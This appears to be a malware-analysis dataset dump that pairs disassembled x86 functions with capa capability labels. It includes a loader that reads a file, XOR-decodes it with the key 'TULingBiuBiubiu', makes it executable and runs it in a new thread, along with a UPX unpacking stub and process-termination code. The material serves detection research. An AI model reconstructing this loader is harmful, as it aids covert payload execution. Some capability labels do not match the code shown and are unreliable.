joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451520
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x451537
add esp, 0xfffffff0
call fcn.00403580
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b028
mov eax, dword [0x470ae0]
cmp word [eax + 2], 0
jne 0x45155f
mov eax, dword [0x470ae0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00452bf8
mov eax, dword [0x470c14]
cmp word [eax + 2], 0
jne 0x451579
mov eax, dword [0x470c14]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00452df0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411dc0]
call fcn.00403244
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411dc0]
call fcn.00403244
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41d1fc]
call fcn.00422e80
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x451700
mov eax, dword [0x47096c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00423250
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4533a0
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x47096c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c7bc
test eax, eax
je 0x45166e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004088b8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c7e4
test eax, eax
je 0x451682
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004042a0
mov eax, dword [0x470750]
cmp byte [eax], 0
jne 0x4516b6
mov eax, ebx
call fcn.00451828
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045357c
mov eax, ebx
call fcn.00453f40
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4516f6
call fcn.004035d8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451aa8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x471bb4]
cmp dword [eax + 0x30], 0
je 0x451b52
cmp dword [ebx + 0x94], 0
jne 0x451b4c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x451a38
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x451b4c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x451b12
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x451b4c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414478
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x451b21
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4526b4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4526e9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404120
jmp 0x4526f6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404084
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x453758
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x453799
mov eax, esi
call fcn.00439ecc
test al, al
je 0x453799
mov eax, dword [ebx + 0x84]
call fcn.00439bc8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x453799
push 0
mov eax, dword [ebx + 0x84]
call fcn.00439bc8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x45c774
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x45c77c
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x45c96e
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x45c984
mov eax, esi
call fcn.0045a504
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.00404084
lea ecx, [ebp - 0x10]
mov edx, 0x45c998
mov eax, esi
call fcn.0045a504
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.00404084
lea ecx, [ebp - 0x14]
mov edx, 0x45c9b0
mov eax, esi
call fcn.0045a504
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.00404084
lea ecx, [ebp - 0x18]
mov edx, 0x45c9cc
mov eax, esi
call fcn.0045a504
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.00404084
lea ecx, [ebp - 0x1c]
mov edx, 0x45c9e8
mov eax, esi
call fcn.0045a504
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.00404084
lea ecx, [ebp - 0x24]
mov edx, 0x45ca00
mov eax, esi
call fcn.0045a504
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00407f80
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408360
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x45ca18
mov eax, esi
call fcn.0045a504
mov eax, dword [ebp - 0x28]
call fcn.00459614
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x45ca28
mov eax, esi
call fcn.0045a504
mov eax, dword [ebp - 0x2c]
call fcn.00459614
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x45ca40
mov eax, esi
call fcn.0045a504
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408360
inc eax
je 0x45c911
lea ecx, [ebp - 0x34]
mov edx, 0x45ca40
mov eax, esi
call fcn.0045a504
mov eax, dword [ebp - 0x34]
call fcn.00408324
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.00409864
fstp qword [ebp - 0x3c]
wait
call fcn.00409bc8
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x45c92c
lea ecx, [ebp - 0x40]
mov edx, 0x45ca40
mov eax, esi
call fcn.0045a504
mov eax, dword [ebp - 0x40]
call fcn.00459614
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x45ca50
mov eax, esi
call fcn.0045a504
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.00404084
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45c975
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404054
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00404054
ret
Function at 0x468c0c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x468c66
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.00468bfc
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.00458280
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.00457e80
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x468c6d
lea eax, [ebp - 4]
call fcn.00404030
ret
Function at 0x4013e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movaps xmm0, xmmword [str.TULingBiuBiubiu_]
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0xc], 0x38262140
xor edi, edi
mov word [ebp - 8], 0x3838
movups xmmword [ebp - 0x1c], xmm0
xor ecx, ecx
mov dword [ebp - 4], 0x6d9
nop
movsx eax, byte [ebp + edi - 0x1c]
mov esi, ecx
cdq
idiv dword [ebp - 4]
mov eax, 0xba2e8ba3
add dl, 0x4f
xor byte [ebx + ecx], dl
mul ecx
inc ecx
shr edx, 4
imul eax, edx, 0x16
lea edx, [edi + 1]
xor edi, edi
cmp esi, eax
cmovne edi, edx
cmp ecx, 0x40000
jb 0x401410
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401450
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm1, xmmword [str.Kernel32.dll]
mov ax, word [0x4042e4]
movq xmm0, qword [0x4042dc]
movd ecx, xmm1
push esi
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x30]
movaps xmmword [ebp - 0x30], xmm1
movq qword [ebp - 0x20], xmm0
push edi
test cx, cx
je 0x4014af
add eax, 2
cmp word [eax], 0
jne 0x4014a6
lea ecx, [ebp - 0x30]
sub eax, ecx
and eax, 0xfffffffe
mov word [ebp - 0x70], ax
add eax, 2
mov word [ebp - 0x6e], ax
mov eax, ecx
push str.ntdll.dll
mov dword [ebp - 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.LdrLoadDll
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x3000
push 0x13
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, 0x404300
mov dword [ebp - 0x84], eax
lea ecx, [esi + 2]
mov word [ebp - 0x64], 0xe0ff
mov byte [ebp - 0x7d], 0xc3
mov edx, eax
mov esi, 2
sub edi, eax
mov al, byte [edi + edx]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub esi, 1
jne 0x401512
mov esi, dword [ebp - 0x84]
movzx eax, word [ebp - 0x64]
mov byte [esi + 2], 0xb8
mov dword [esi + 3], ecx
mov word [esi + 7], ax
mov al, byte [ebp - 0x7d]
mov byte [esi + 9], al
lea eax, [ebp - 0x68]
push eax
push 0x20
push 0x1e
push esi
mov dword [ebp - 0x68], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0
push eax
lea eax, [ebp - 0x70]
push eax
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404304
push dword [ebp - 0x7c]
call esi
push str.CreateThread
push dword [ebp - 0x7c]
mov dword [ebp - 0x84], eax
call esi
push 0x404324
push dword [ebp - 0x7c]
mov dword [ebp - 0x64], eax
call esi
push 4
push 0x1000
push 0x40000
push 0
call eax
movups xmm0, xmmword [str.C:Program_Files__x86_exeInstallerplugin.lo]
mov ecx, dword [0x4042c0]
mov edi, eax
movzx eax, word [0x4042c4]
movups xmmword [ebp - 0x60], xmm0
mov word [ebp - 0x34], ax
lea eax, [ebp - 0x60]
movups xmm0, xmmword [0x4042a8]
push 0x4042c8
push eax
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x38], ecx
movq xmm0, qword [0x4042b8]
movq qword [ebp - 0x40], xmm0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
push esi
push 0x40000
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x1c
mov ecx, edi
call fcn.004013e0
lea eax, [ebp - 0x74]
push eax
push 0x10
push 0x40000
push edi
call dword [ebp - 0x84]
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push edi
push 0
push 0
call dword [ebp - 0x64]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004026bc
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4016a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4037d0
mov eax, dword fs:[0]
push eax
sub esp, 0x358
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call fcn.00401650
call fcn.00401f70
push 0
test al, al
jne 0x4016e7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 2
mov dword [ebp - 0x344], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x344]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40175a
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push 0
push 0
push 0x104
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x320]
push eax
push 0
push 0
call edi
lea eax, [ebp - 0x344]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401713
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x360]
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
push str.1751205212451546
movups xmmword [ebp - 0x360], xmm0
mov dword [ebp - 0x34c], 0
call fcn.004011d0
mov byte [ebp - 4], 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [ebp - 0x34c], 0xf
lea esi, [ebp - 0x360]
mov edi, eax
lea eax, [ebp - 0x348]
cmova esi, dword [ebp - 0x360]
push 0xa
push eax
push esi
mov dword [edi], 0
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x348]
jne 0x4017dd
push str.invalid_stol_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
cmp dword [edi], 0x22
jne 0x4017ed
push str.stol_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0xf
jbe 0x401829
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40181f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40181f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004026fa
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004026bc
mov esp, ebp
pop ebp
ret
Function at 0x40313e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40317d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40317d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40317d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40317d
cmp dword [ecx + 0x74], 0xe
jbe 0x40317d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41f320
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x41f342
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41f349
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41f338
mov eax, 1
add ebx, ebx
jne 0x41f35b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41f350
jne 0x41f36c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41f350
xor ecx, ecx
sub eax, 3
jb 0x41f380
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41f3f2
mov ebp, eax
add ebx, ebx
jne 0x41f38b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41f398
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41f3bc
inc ecx
add ebx, ebx
jne 0x41f3a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41f39d
jne 0x41f3b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41f39d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41f3dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41f3cd
jmp 0x41f33e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41f3dc
add edi, ecx
jmp 0x41f33e
pop esi
mov edi, esi
mov ecx, 0x202
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41f3fa
cmp byte [edi], 6
jne 0x41f3fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41f3ff
lea edi, [esi + 0x1d000]
mov eax, dword [edi]
or eax, eax
je 0x41f477
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1ffc4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20000]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41f42c
mov ecx, edi
jns 0x41f45b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x20008]
or eax, eax
je 0x41f471
mov dword [ebx], eax
add ebx, 4
jmp 0x41f449
call dword [esi + 0x20004]
mov ebp, dword [esi + 0x2000c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41f4ab
sub esp, 0xffffff80
jmp 0x40290c
Function at 0x401040
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [0x402110]
lea eax, [ebp - 0x70]
mov dword [ebp - 0x60], 0x44
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
movups xmmword [ebp - 0x1c], xmm0
lea eax, [ebp - 0x1c]
movq xmm0, qword [0x402120]
push 0
movq qword [ebp - 0xc], xmm0
xorps xmm0, xmm0
push eax
push 0
movlpd qword [ebp - 0x5c], xmm0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4010e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d__n
call fcn.00401010
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401112
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00401112
mov esp, ebp
pop ebp
ret

Function at 0x401912
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401951
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401951
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401951
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401951
cmp dword [ecx + 0x74], 0xe
jbe 0x401951
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10024320
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10110fdb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3c
push esi
mov eax, dword [0x1013b080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [0x1014ff20]
test al, 1
jne 0x10024465
or eax, 1
mov dword [0x1014ff20], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x10129700]
xorps xmm0, xmmword [0x101292c0]
mov dword [ebp - 0x20], 0xc5dac5da
mov dword [ebp - 0x1c], 0xa3c5a7dd
mov word [ebp - 0x18], 0xe5d4
movups xmmword [ebp - 0x30], xmm0
xor byte [ebp + eax - 0x30], 0xe5
inc eax
cmp eax, 0x1a
jb 0x100243a3
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100243d0
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.1002afa0
mov byte [ebp - 4], 1
mov edx, dword [0x10163fec]
test edx, edx
je 0x100243f9
mov edx, dword [edx + 0x50]
jmp 0x100243fb
xor edx, edx
mov eax, dword [0x10163fe4]
test eax, eax
je 0x10024409
mov eax, dword [eax + 0x18]
jmp 0x1002440b
xor eax, eax
lea ecx, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.10023e40
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
mov dword [0x1014ff24], eax
cmp ecx, 0xf
jbe 0x1002445c
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002444d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10024485
push ecx
push edx
call fcn.100e5a06
mov eax, dword [0x1014ff24]
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x1002446a
mov eax, dword [0x1014ff24]
test eax, eax
je 0x10024472
mov ecx, esi
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100eb92b
int3
Function at 0x1002a640
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10110f10
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1013b080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.100e55a7
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.100e4476
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.1002a980
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1002adc0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10111367
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1013b080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x10], ecx
push 0x410
call fcn.100e55a7
mov ebx, eax
add esp, 4
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], 0
lea edi, [ebx + 0xc]
xorps xmm0, xmm0
mov ecx, edi
movq qword [ebx], xmm0
mov dword [ebx + 8], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 1
mov dword [ebx], vtable.std::_Ref_count_obj2_class_LagRecord_.0
mov eax, dword [esi]
push eax
mov dword [edi + 0x10], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0x3b8], 0
mov dword [edi + 0x3bc], 0
mov dword [edi + 0x3c0], 0
mov byte [edi + 0x3c4], 0
mov dword [edi + 0x3c8], 0
mov byte [edi + 0x3cc], 0
mov dword [edi + 0x3d0], 0
mov dword [edi + 0x3d4], 0
mov dword [edi + 0x3d8], 0
mov dword [edi + 0x3dc], 0
mov dword [edi + 0x3e0], 0
mov dword [edi + 0x3e4], 0
mov word [edi + 0x3f4], 0
call fcn.10024490
mov eax, dword [ebp - 0x10]
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 4], 0
mov dword [eax], edi
mov dword [eax + 4], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret